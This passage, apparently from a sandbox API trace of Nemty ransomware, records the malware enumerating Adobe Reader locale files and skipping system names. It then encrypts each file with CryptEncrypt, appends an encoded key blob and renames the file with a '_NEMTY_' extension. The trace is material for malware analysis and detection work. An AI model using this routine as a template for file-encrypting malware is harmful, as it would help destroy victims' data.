hHeap=0x4f90000) returned 1 [0180.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.924] Sleep (dwMilliseconds=0x5) [0180.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7ccff0, dwHighDateTime=0x1d561e8)) [0180.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7ccff0, dwHighDateTime=0x1d561e8)) [0180.927] GetLastError () returned 0x0 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.927] GetLastError () returned 0x0 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.927] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.927] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="iFlYbpf+DJx6yrmM8bLIwn6npT4I8Ag+FeYm4z47DLRqjM9L4fq35hTb2KzJUQDd\r\nv08sXcSTfNN47mR+vXKHIri9+vcch77H+QUSgYkomquHSFgLkFwKXY0nU6BK1GAq\r\nV7S2N8m13VuNMYunqL4pJ865k8J7pWRvVuVDIHWO5MZJWU0ewR/fiKA+e4BALotl\r\nbd+phQdaEDjCgCBVk4tEd/IXS8xyWU/xE79IdDBqnNPLEUZ6K8rK16gnizRfFQjE\r\nn+4JImWI9bMvyXXLnp312QEmnBepcmv4nuy5nytt75jYjPYw/UFQBMgI24ZJ9qzh\r\nhM5K2s9CeWsghJrdo0nCGw==\r\n", pcchString=0x653e5dc) returned 1 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.928] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0180.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0180.928] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.928] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0180.931] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.931] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0180.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.931] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0180.931] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.931] CloseHandle (hObject=0x2e8) returned 1 [0180.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.931] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol._nemty_kgobjgd_")) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.932] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.POL", cAlternateFileName="")) returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2=".") returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="..") returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="...") returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="windows") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="rsa") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="NTDETECT.COM") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="ntldr") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="MSDOS.SYS") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="IO.SYS") returned -1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="boot.ini") returned 1 [0180.932] lstrcmpiW (lpString1="eBook.POL", lpString2="boot.ini") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="ntuser.dat") returned -1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="desktop.ini") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="CONFIG.SYS") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="RECYCLER") returned -1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="bootmgr") returned 1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="programdata") returned -1 [0180.933] lstrcmpiW (lpString1="eBook.POL", lpString2="appdata") returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.POL", lpUsedDefaultChar=0x0) returned 9 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.POL", lpUsedDefaultChar=0x0) returned 9 [0180.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.POL", lpUsedDefaultChar=0x0) returned 9 [0180.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.POL", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.POL", lpUsedDefaultChar=0x0) returned 9 [0180.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.933] Sleep (dwMilliseconds=0x5) [0180.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7f3150, dwHighDateTime=0x1d561e8)) [0180.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7f3150, dwHighDateTime=0x1d561e8)) [0180.942] GetLastError () returned 0x0 [0180.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.942] GetLastError () returned 0x0 [0180.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.943] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.943] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="QSpKVA9Oo4kWyKWZU5fj6Tu9tZH/fivyLFabyzdA7s5focisfu+1xSpdZLhMaLyU\r\n+X74rVRfXG2jvapqkt+Uq2AP2DZy0hEnd5zr7Y8ppfiuuR22M3VJj3rdmTw9tiO7\r\naEHleSofcw5a0uFG0PB3LxHr9B/v6W2Vni1ZWxPKYpyKyrJlN928BL+YTs5Az4Hi\r\nh9G06ez1iPg2+Cc1VMXjQd6Woom5e7znZb86GmlRAY+tqjv2fHekGePXuLth7tFS\r\n7k+hV6m4Rcz11I9WuQ1ptDB3tyZAZGwZWXL4JSUlEWzKltwuoAQBGHtUJTg0DATq\r\n3Ke52wdXSGdPIJPQrI87pA==\r\n", pcchString=0x653e5dc) returned 1 [0180.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.943] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.944] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0180.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0180.944] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.944] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0180.946] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.946] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0180.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.946] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0180.946] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.946] CloseHandle (hObject=0x2e8) returned 1 [0180.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.946] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol._nemty_kgobjgd_")) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.947] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.POL", cAlternateFileName="")) returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2=".") returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="..") returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="...") returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="windows") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="rsa") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="NTDETECT.COM") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="ntldr") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="MSDOS.SYS") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="IO.SYS") returned -1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="boot.ini") returned 1 [0180.947] lstrcmpiW (lpString1="EScript.POL", lpString2="boot.ini") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="ntuser.dat") returned -1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="desktop.ini") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="CONFIG.SYS") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="RECYCLER") returned -1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="bootmgr") returned 1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="programdata") returned -1 [0180.948] lstrcmpiW (lpString1="EScript.POL", lpString2="appdata") returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.POL", lpUsedDefaultChar=0x0) returned 11 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.POL", lpUsedDefaultChar=0x0) returned 11 [0180.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.POL", lpUsedDefaultChar=0x0) returned 11 [0180.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 